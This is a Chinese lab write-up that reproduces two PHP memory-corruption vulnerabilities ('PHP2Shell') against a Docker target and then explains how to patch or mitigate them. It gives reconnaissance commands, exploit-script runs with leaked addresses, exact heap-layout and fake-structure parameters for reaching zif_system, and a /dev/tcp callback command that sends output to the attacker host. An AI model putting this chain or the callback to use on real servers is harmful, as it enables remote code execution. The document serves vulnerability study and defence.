CVE-2026-109618 和 CVE-2026-109619 是 PHP 在 2026 年 10 月披露的两个内存破坏漏洞,CVSS 都是 9.2。触发点在 PHP 处理请求的启动阶段,比脚本执行还早,所以不需要应用代码配合。公开资料把这对漏洞合称 PHP2Shell。
受影响范围是 PHP 5.4 到 8.5.11,修复版本是 8.2.35、8.3.36、8.4.27、8.5.12。所有处理 Web 请求的 SAPI 都受影响。Apache mod_php 的风险最高,它的子进程是长驻的,跨请求的脏状态不会被主动清掉。
靶机 192.168.31.148 上用官方 php:8.4.26-apache 镜像搭一个只有一行代码的站点,攻击机 192.168.31.152。下面的顺序按实战走:先扫端口和业务,看这个站点是什么形态,再判断攻击面落在哪一层,然后挑出适用的漏洞,最后验证并利用。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2026-109618 | 9.2 | PHP 5.4 至 8.5.11 | OOM 导致内存损坏,可致 RCE |
| CVE-2026-109619 | 9.2 | PHP 5.4 至 8.5.11 | 跨请求悬空全局状态,可致 RCE |
两个漏洞共用同一个入口:session.upload_progress。这个特性默认开启,本来是给文件上传显示进度条用的。PHP 处理 multipart 请求时,只要看到 PHP_SESSION_UPLOAD_PROGRESS 字段,就会在请求启动阶段把进度写进 session 文件,位置比脚本执行早,也比模块的 RINIT 早。
链条还依赖两个默认配置:
session.use_strict_mode为 0,允许客户端自己指定 session idmemory_limit是有限值,这样才可能触发 OOM
条件齐了以后,目标页面不需要有任何 session 代码,甚至不需要参数。能跑的 PHP 页面就够。
漏洞复现
复现环境准备
靶机是 192.168.31.148,Kali,靶标用 Docker 跑。镜像用官方 php:8.4.26-apache,基于 Debian bookworm,自带 Apache 2.4.69 和 PHP 8.4.26。
┌──(kali㉿kali)-[~]└─$ sudo docker run -d --name p2s-pure-18110 -p 18110:80 \ -v /home/kali/php2shell-md/docker/www:/var/www/html:ro \ -v /home/kali/php2shell-md/out:/out \ php:8.4.26-apache /bin/sh -c \ 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini; exec apache2-foreground'
└─$ sudo docker ps --filter name=p2s-pure-18110 --format "table {{.ID}}\t{{.Image}}\t{{.Ports}}\t{{.Names}}" # 确认容器状态CONTAINER ID IMAGE PORTS NAMES92f147743d3d php:8.4.26-apache 0.0.0.0:18110->80/tcp, [::]:18110->80/tcp p2s-pure-18110官方镜像默认不带 php.ini,这里把镜像自带的 php.ini-production 复制成 php.ini。没有改编译参数,没有打补丁,没有动 Apache 配置。
目标页面只有一行:
<?php echo "OK\n"; ?>靶标的配置就是官方镜像的默认值:memory_limit 128M、post_max_size 8M、session.upload_progress.enabled On、session.use_strict_mode Off,MPM 是 prefork,MaxRequestWorkers 150。这些值攻击者从外部读不到,链条只要求它们是出厂值。
150 这个数字后面要用:同一条链上的四个请求必须落在同一个子进程里,脚本用 149 个不完整的连接把其余 worker 占住,只留一个。
另外用 php:8.3.4-apache 起过同样的站点,链条没打通。两个版本的 session 初始化时序不一样,8.3 在 php_session_initialize 内部就把 Cookie 发出去并清掉 send_cookie 标志,8.4 把这一步挪到了 multipart 解析结束。所以 A1 那笔 OOM 在 8.3.4 上落在发 Cookie 之后,B1 拿不到悬空的 id。换版本除了重新取 libphp.so 的符号偏移,还要重新算 OOM 落在哪一段代码里。
端口扫描与内容发现
先对整个端口段扫一遍,带上默认脚本和 vulners 版本库比对:
┌──(kali㉿kali)-[~]└─$ sudo nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
Nmap scan report for kali (192.168.31.148)Host is up (0.00072s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)| vulners:| cpe:/a:openbsd:openssh:10.2p1:| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002| CVE-2026-35414 8.1 https://vulners.com/cve/CVE-2026-35414| CVE-2026-35386 8.1 https://vulners.com/cve/CVE-2026-35386| CVE-2026-35385 8.1 https://vulners.com/cve/CVE-2026-35385| …(其余 23 条为 2026 年的条目,只按版本号匹配,无公开利用链,略)18110/tcp open http Apache httpd 2.4.69 ((Debian))|_http-title: Site doesn't have a title (text/html; charset=UTF-8).|_http-server-header: Apache/2.4.69 (Debian)| vulners:| cpe:/a:apache:http_server:2.4.69:|_ GHSA-XM48-VPF9-PGMX 0.0 https://vulners.com/github/GHSA-XM48-VPF9-PGMXMAC Address: 00:0C:29:B3:23:74 (VMware)Service Info: OS: Linux, CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Nov 1 07:03:47 2026 -- 1 IP address (1 host up) scanned in 17.68 seconds65533 个端口是 closed(RST),没有 filtered,靶机没有防火墙拦截,对外只暴露 SSH 和 Web。22 端口是 Kali 自带的 OpenSSH,不是应用入口。18110 是唯一的 HTTP 服务。
vulners 给出 28 条记录,OpenSSH 27 条、Apache 1 条。OpenSSH 那批全是 2026 年的条目,按版本号匹配出来的,没有公开利用链;Apache 2.4.69 只有一条 GHSA,评分 0.0。这些条目和站点上实际跑的东西对不上号,先记下来。
再看有没有别的路径:
┌──(kali㉿kali)-[~]└─$ gobuster dir -u http://192.168.31.148:18110/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q --no-error.htpasswd (Status: 403) [Size: 322].htaccess (Status: 403) [Size: 322].hta (Status: 403) [Size: 322]index.php (Status: 200) [Size: 3]server-status (Status: 403) [Size: 322]只有 index.php 返回 200,内容三个字节。其余几个是 Apache 的默认拒绝,server-status 只允许本地访问。整个站点就一个入口脚本。
业务面探测
能访问的只有 18110 上的 Apache,先看它是什么业务:
┌──(kali㉿kali)-[~]└─$ whatweb -a 3 http://192.168.31.148:18110/http://192.168.31.148:18110/ [200 OK] Apache[2.4.69], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.69 (Debian)], IP[192.168.31.148], PHP[8.4.26], X-Powered-By[PHP/8.4.26]再摸一遍常见的入口文件和目录:
┌──(kali㉿kali)-[~]└─$ for p in robots.txt .git/HEAD .env index.php.bak index.php~ backup.zip admin/ upload.php phpinfo.php; do printf '%-16s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://192.168.31.148:18110/$p)" donerobots.txt 404 319.git/HEAD 404 319.env 404 319index.php.bak 404 319index.php~ 404 319backup.zip 404 319admin/ 404 319upload.php 404 319phpinfo.php 404 319全部 404,返回的都是 Apache 那个 319 字节的错误页。这个长度可以当参照:后面哪个请求的响应不是 319,说明它走到了应用代码。
首页本身只有两个字节:
┌──(kali㉿kali)-[~]└─$ curl -s http://192.168.31.148:18110/index.php | xxd00000000: 4f4b 0a OK.没有表单,没有链接,没有 JS,没有任何业务数据。接着看它接不接收输入。先看支持的 HTTP 方法:
┌──(kali㉿kali)-[~]└─$ curl -s -i -X OPTIONS http://192.168.31.148:18110/index.php | head -3HTTP/1.1 200 OKDate: Mon, 02 Nov 2026 03:42:32 GMTServer: Apache/2.4.69 (Debian)
└─$ curl -s -o /dev/null -w 'TRACE=%{http_code}\n' -X TRACE http://192.168.31.148:18110/index.phpTRACE=405OPTIONS 的响应头里没有 Allow,TRACE 被拒绝。再试参数,GET 和 POST 各来一组最常见的名字,值统一给 /etc/passwd,看响应长度有没有变化:
┌──(kali㉿kali)-[~]└─$ for n in file page id cmd url path include data action q; do printf 'POST %-8s -> %s\n' "$n" "$(curl -s -o /dev/null -w '%{size_download}' -X POST -d "$n=/etc/passwd" http://192.168.31.148:18110/index.php)" donePOST file -> 3POST page -> 3POST id -> 3POST cmd -> 3POST url -> 3POST path -> 3POST include -> 3POST data -> 3POST action -> 3POST q -> 3GET 的结果一样,全是 3 字节。再试一次文件上传:
┌──(kali㉿kali)-[~]└─$ curl -s -o /dev/null -w 'upload=%{http_code} size=%{size_download}\n' -X POST -F 'file=@/etc/hostname' http://192.168.31.148:18110/index.phpupload=200 size=3文件传上去了,响应还是三个字节,没有接收逻辑。带上 Cookie 再请求一次,响应里也没有 Set-Cookie,页面自己不会建立会话。
到这里业务面就摸完了:一个只会输出 OK 的 PHP 文件,没有参数、没有上传、没有数据库、没有包含,任何输入都不改变它的行为。
确定攻击面
业务层没有输入点,注入、文件包含、上传、反序列化这几类都没有落点。剩下的只有 PHP 解释器处理请求这一层,它不需要应用配合,有请求进来就有机会触发。
判断依据来自响应头。X-Powered-By 是 PHP/8.4.26,而 PHP 在 2026 年 10 月的这批修复里,8.4.27 是 8.4 分支的修复版本,靶标正好低一个补丁版本。CVE-2026-109618 与 CVE-2026-109619 的影响范围是 5.4 到 8.5.11,8.4.26 落在区间里。修复版本同时覆盖 8.2.35、8.3.36、8.4.27、8.5.12 四个分支,说明问题在 PHP 核心的请求处理逻辑里,不在某个 SAPI 或某个发行版。
这条链要成立,还需要三个条件同时具备:
- PHP 版本在 5.4 到 8.5.11 之间
session.upload_progress.enabled为 Onsession.use_strict_mode为 Off
第一条从响应头读到了。后两条任何响应头都不会透露,只能按官方镜像的默认值假设,这两个开关在 PHP 里默认就是打开和关闭的。假设对不对,往下走一遍就知道。
前面 nmap 的 vulners 结果里没有这条 CVE,扫描器只认 Apache 和 OpenSSH 的版本号,看不到 PHP 版本,也看不到 session 配置。候选只能靠人工从响应头推出来,再用行为去验证。
漏洞验证
为了看清每一步在做什么,下面把链条拆开单独发,不直接跑完整脚本。请求都从攻击机 192.168.31.152 发往 192.168.31.148 的 18110 端口。
第一步,看请求能不能在脚本执行之前被打断。A1 是链条里的第一个请求,单独发一次:
┌──(kali㉿kali)-[~]└─$ cd /home/kali/php2shell-md└─$ python3 pure/mk_a1.py --out /tmp/a1.bin # 生成 A1 的 chunked body└─$ python3 pure/chunked_send.py --host 192.168.31.148 --port 18110 \ --body-file /tmp/a1.bin --save-response /tmp/a1.respbody=1060211 resp=211 status='HTTP/1.0 500 Internal Server Error'
└─$ head -6 /tmp/a1.respHTTP/1.0 500 Internal Server ErrorDate: Sun, 01 Nov 2026 06:56:15 GMTServer: Apache/2.4.69 (Debian)X-Powered-By: PHP/8.4.26Content-Length: 0Connection: close同一个页面正常请求返回 200 加三个字节。index.php 只有一行 echo,脚本跑起来就会输出 OK。这里返回 500,响应体长度是 0,说明请求在脚本执行之前就断了。普通 PHP 脚本出错会把错误和行号打进响应体,这次什么都没有,中断点在 C 代码里。
第二步,A1 之后接 B1,看 Set-Cookie 变成什么样。这一步有个前提:A1 和 B1 要落在同一个 Apache 子进程上,否则悬空指针不在同一个进程里,B1 读到的还是干净的 32 字节 id。参考实现先开 149 个只发请求头、不发 body 的连接把 worker 占住,再依次发 A1 和 B1:
┌──(kali㉿kali)-[~]└─$ P2S_HOST=192.168.31.148 python3 exploit_lan.py --port 18110 --workers 150 --retries 1 pinned 150/150 workers (149 holders)[try 1] A1: END-cleanup send_cookie OOM[try 1] B1: stale-id OOB read (chunk base + libphp) decoded=819208 zval_ptr_dtor=0x7fa112100b60 -> libphp=0x7fa111aa2000 chunk buckets: [('0x7fa10f600000', 7495), ('0x7fa112000000', 1095), ('0x7fa10fe00000', 87), ('0x7fa10f400000', 79)]参考实现的连接地址写死成 127.0.0.1,这里用环境变量 P2S_HOST 换成靶机地址,其余不变。
正常请求的 PHPSESSID 是 32 个字符,这次的 Set-Cookie 解码出 819208 字节。这个数字来自伪造的 zend_string 头:长度字段写成 0xC8000,也就是 819200,加上 8 字节的数据偏移,正好 819208。PHP 把从 id 指针开始的 800KB 内存当成字符串,url_encode 之后塞进了 Cookie。
这些字节里混着堆上的指针。输出里的 zval_ptr_dtor=0x7fa112100b60 是其中一个,它指向 libphp.so 里的 zval_ptr_dtor 函数,减去已知偏移 0x65EB60 得到 libphp 的基址 0x7fa111aa2000。
chunk buckets 是内存里 2MB 对齐的 chunk 指针分布,括号里是出现次数,最上面两个是主 chunk 的候选地址。
B1 没有调用 session_start(),却能让 session 模块在请求启动阶段生成 Cookie,这也说明 session.upload_progress 是开着的。
第三步,整条链。A2 和 B2 接在 B1 后面,同样要求落在同一个子进程上。参考实现跑完 B2 会去读靶机上的 proof 文件,跨主机时读不到,所以把执行的命令换成一个回连,攻击机这边监听端口收结果:
┌──(kali㉿kali)-[~]└─$ P2S_HOST=192.168.31.148 P2S_CB=192.168.31.152:4446 \ python3 exploit_lan.py --port 18110 --workers 150 pinned 150/150 workers (149 holders)[try 1] A1: END-cleanup send_cookie OOM[try 1] B1: stale-id OOB read (chunk base + libphp) decoded=819208 zval_ptr_dtor=0x7fa112100b60 -> libphp=0x7fa111aa2000 chunk buckets: [('0x7fa10f600000', 7495), ('0x7fa112000000', 1095), ('0x7fa10fe00000', 87), ('0x7fa10f400000', 79)][try 1] A2 + B2: main=0x7fa10fe00000 S=0x7fa10fef8398 zif_system=0x7fa111f07370[4/4] RCE OK; callback:uid=33(www-data) gid=33(www-data) groups=33(www-data)命令是 bash -c 'id >/dev/tcp/192.168.31.152/4446',由目标上的 system 执行,输出直接连回攻击机。
从发出第一个请求到收到回连,3 到 4 秒。期间目标的 php.ini 没改过,Apache 没重启过,web 根下没写过文件,整条链只有 HTTP 请求。
漏洞利用
参考实现把链条拆成 A1、B1、A2、B2 四个请求,全部由攻击机发出。
先占住 worker。Apache prefork 默认 MaxRequestWorkers 150,脚本先建立 149 个只发了请求头、不带完整 body 的连接,把这 149 个子进程占住,剩下的那一个依次处理四个请求。运行时打印的 pinned 150/150 workers (149 holders) 就是这一步。
之所以要钉住,是因为悬空指针存在进程的全局变量里。Apache prefork 的每个子进程独立处理请求,四个请求分到不同子进程,指针就断了。
第一段,A1 让 OOM 落在发 Cookie 的路径上。A1 是一个 chunked multipart 请求,body 里有这些字段:
- 一个
PHPSESSID字段 - 860 个嵌套空文件字段,字段名形如
files[R00000KKK...KKK][a][a]...,深度 64 - 14 个 103 字节名的填充字段
- 78 个 8000 字节的大字段
- 20 个 4000 字节的燃烧字段
- 一个 4000 字节的
PHP_SESSION_UPLOAD_PROGRESS
chunked 编码没有 Content-Length,rfc1867_post_handler 开头的 post_max_size 检查会被跳过,body 可以远超 8MB。
这些字段的作用是控制堆的形状,让那笔会失败的内存分配正好发生在 php_session_send_cookie() 内部的 php_url_encode() 里。
第二段,B1 把堆读出来。B1 在 A1 留下的 id 内存位置上铺伪造的 zend_string 头,长度写 0xC8000,然后触发 session 初始化。PHP 拿这个 id 去生成 Set-Cookie,读出来的就是一整片堆内存。
800KB 里有三类东西:2MB 对齐的 chunk 指针、HashTable 的 pDestructor 指针、以及其它残留数据。出现次数最多的是 zval_ptr_dtor,1095 次,用它反推 libphp 基址。
第三段,A2 再制造一次 OOM。手法和 A1 类似,目标不同:它在 multipart 解析阶段 OOM,跳过模块 shutdown,让 PS(http_session_vars) 这类 session 全局变量悬空到堆上。
第四段,B2 伪造 zend_array。B2 发 500 个 384 字节的字段,每个字段的值里每 32 字节嵌一个伪造的 zend_reference,ptr 指向 S,也就是伪造数组的地址。再发一个 ht 字段,内容是 384 字节的伪造 zend_array。
这些字节在 S 处拼出一个结构:
- 前 0x20 字节是 HashTable 头,
pDestructor写成zif_system - 0x20 处是伪造的
zend_execute_data,num_args为 1,参数指向 S+0x80 - 0x80 处是伪造的
zend_string,内容是回连命令
请求结束时,PHP 销毁 session 数组,遍历到伪造元素时调用 pDestructor。它的类型是 void (*)(zval *),实际落点是 zif_system,第一个参数被当成 execute_data,命令就这样被执行了。
复现结束后,三个 PHP 容器均已退出,挂载到 /out 的目录里还留着 4 个上传的会话文件,合计 20 KB,属主是容器内的 www-data。攻击流量从 192.168.31.152 直达靶机,未经跳板,上传请求与后续的命令执行都会进入 Apache 的访问日志。
漏洞核心原理
请求的生命周期与清理点
PHP 处理一个请求分三段:启动、执行、收尾。
启动阶段也就是 RINIT,各模块初始化自己的全局状态,session 模块在这里打开 session 文件、生成 session id、发 Set-Cookie。执行阶段跑脚本。收尾阶段是 RSHUTDOWN,各模块把状态清干净,session 模块关文件、写数据、复位指针。
session.upload_progress 挂在 multipart 解析器的回调上,而 multipart 解析发生在启动阶段,比模块的 RINIT 更早。带 PHP_SESSION_UPLOAD_PROGRESS 的请求一进来,session 模块就被提前唤醒了。
OOM 与 longjmp
PHP 的内存分配走 ZendMM。每次 emalloc 都会检查这次分配会不会超过 memory_limit,超了就报 E_ERROR:
zend_error_noreturn(E_ERROR, "Allowed memory size of %zu bytes exhausted (tried to allocate %zu bytes)", ...);zend_error_noreturn 最后调用 zend_bailout(),后者是一个 longjmp:
void zend_bailout(void) { ... longjmp(EG(bailout), 1);}longjmp 直接跳回请求开始时 setjmp 的位置,中间所有函数栈帧全部作废。正常返回时该执行的清理代码,一行都不会跑。

悬空指针是怎么留下的
A1 的 OOM 点被安排在 php_session_send_cookie() 里面。这个函数拿 PS(id) 指向的 session id 做 url_encode,拼进 Set-Cookie 头。
gdb 里看到的调用栈:
#3 zend_string_safe_alloc (persistent=false, l=0, m=32, n=3)#4 php_url_encode_impl (raw=false, len=32, s=0x7ffff3fff018 "...")#5 php_url_encode#6 php_session_send_cookie#7 php_session_reset_id#8 php_session_initialize#9 php_session_rfc1867_update第一笔分配是 zend_string_safe_alloc(3, 32, 0, 0),121 字节,落在 bin 128,OOM 就发生在这里。
OOM 时:
PS(id)已经指向一块内存,但这块内存处于半初始化状态,或者已经被释放PS(send_cookie)还是 1,表示没发完- session 的清理函数
php_session_rfc1867_cleanup()没有执行
longjmp 回到顶层后,PHP 仍然会走请求收尾,但收尾函数看到的是不一致的状态,它不会去修 PS(id)。
请求结束了,进程还在。Apache prefork 的子进程处理完一个请求不退出,等下一个连接。PS(id) 就留在进程的全局区里,指向一块已经回收的堆内存。
B1 进来,同一个子进程处理。启动阶段 session 模块又被唤醒,它看到 PS(id) 非空,直接拿来用。攻击者在 B1 的 body 里用大字段把这块内存重新占住,写上伪造的 zend_string 头,长度 0xC8000。于是 url_encode 读的不再是 32 字节的 id,而是 800KB 的堆。
从泄露到基址
泄露出来的内存里混着各种指针。定位 libphp 的办法是找一个出现次数特别多的固定偏移:HashTable 销毁时用的 pDestructor 都指向 zval_ptr_dtor,同一个进程里这个地址是固定的,所以在 800KB 窗口里会反复出现。
取出现次数最多的那个地址,减去 libphp.so 里的偏移 0x65EB60,得到模块基址。有了基址,zif_system 的地址就是基址加 0x465370。
这两个偏移是 8.4.26 这个构建的值,换版本要重新取符号。换到 8.3.4 上跑同一条链,B1 直接报 no Set-Cookie in leak response,连泄露都拿不到,原因前面说过,是发 Cookie 的时序对不上。
伪造一个能被调用的数组
第二轮的目的不是读,是写。A2 用同样的 OOM 手法让 PS(hash_serialize_verifier) 悬空,B2 用大量 384 字节字段把伪造的 zend_reference 铺到堆上,ptr 指向 S。
S 处放的是手工拼的 zend_array:
偏移 0x00 gc(引用计数与类型)偏移 0x08 flags、nTableMask偏移 0x10 arData = S+0x20偏移 0x18 nNumUsed、nNumOfElements偏移 0x30 pDestructor = zif_system
关键在于 pDestructor。PHP 销毁数组时对每个元素调用它,签名是 void (*)(zval *)。zif_system 的真实签名是 void zif_system(zend_execute_data *execute_data, zval *return_value),两者对不上。但在 x86-64 的调用约定下,第一个参数放进 rdi,pDestructor 传进去的 zval 指针会被 zif_system 当成 execute_data。
所以还要在 S+0x20 放一个假的 zend_execute_data,让 zif_system 从里面取参数。这个结构里 num_args 设成 1,参数指针指向 S+0x80 的假 zend_string,内容是命令字符串。
请求收尾时,session 数组被销毁,走到伪造元素,调用 pDestructor,system 执行。
为什么打不崩进程
整个过程中 worker 一直在正常服务。OOM 触发的是 bailout,不是段错误,伪造的结构只在收尾那一下被读,读完请求就结束了。日志里能看到 Fatal error,下一个请求照常处理。
麻烦的是连续利用之间的状态污染。上一次 A1 留下的残留还在同一个子进程里,重试时堆布局已经变了。稳妥的做法是每次重试前重启容器,让 worker 回到干净状态。本文的复现里第一次没重启,A2 的两个候选地址都没命中;重启容器后第一次就成功。
修复方案
升级到修复版本是唯一彻底的办法:
- 8.4.27
- 8.3.36
- 8.2.35
- 8.5.12
暂时不能升级的话,可以做临时缓解,几条叠加效果更好。
关闭 upload_progress,在 Apache 配置里加:
php_admin_value session.upload_progress.enabled 0改完要重启所有 worker,只 reload 不够,旧进程里的全局状态还在。
把 memory_limit 设为 -1,让 OOM 不发生。代价是失去内存保护,只适合能控住请求大小的场景。
把 pm.max_requests 设为 1,让每个子进程处理完一个请求就退出,跨请求的悬空指针带不到下一个请求。这个做法对性能影响明显。
已经 EOL 的 PHP 5.4 到 8.1,官方不再发补丁,只能靠发行版或商业支持回填。
参考链接
- MRdark-ops 的参考实现:php2shell
- CVE-2026-109618 公告:GHSA-w8hw-w9fx-j79w
- CVE-2026-109619 公告:GHSA-6wmf-4rv5-p3rp
- PHP 修复版本记录:ChangeLog-8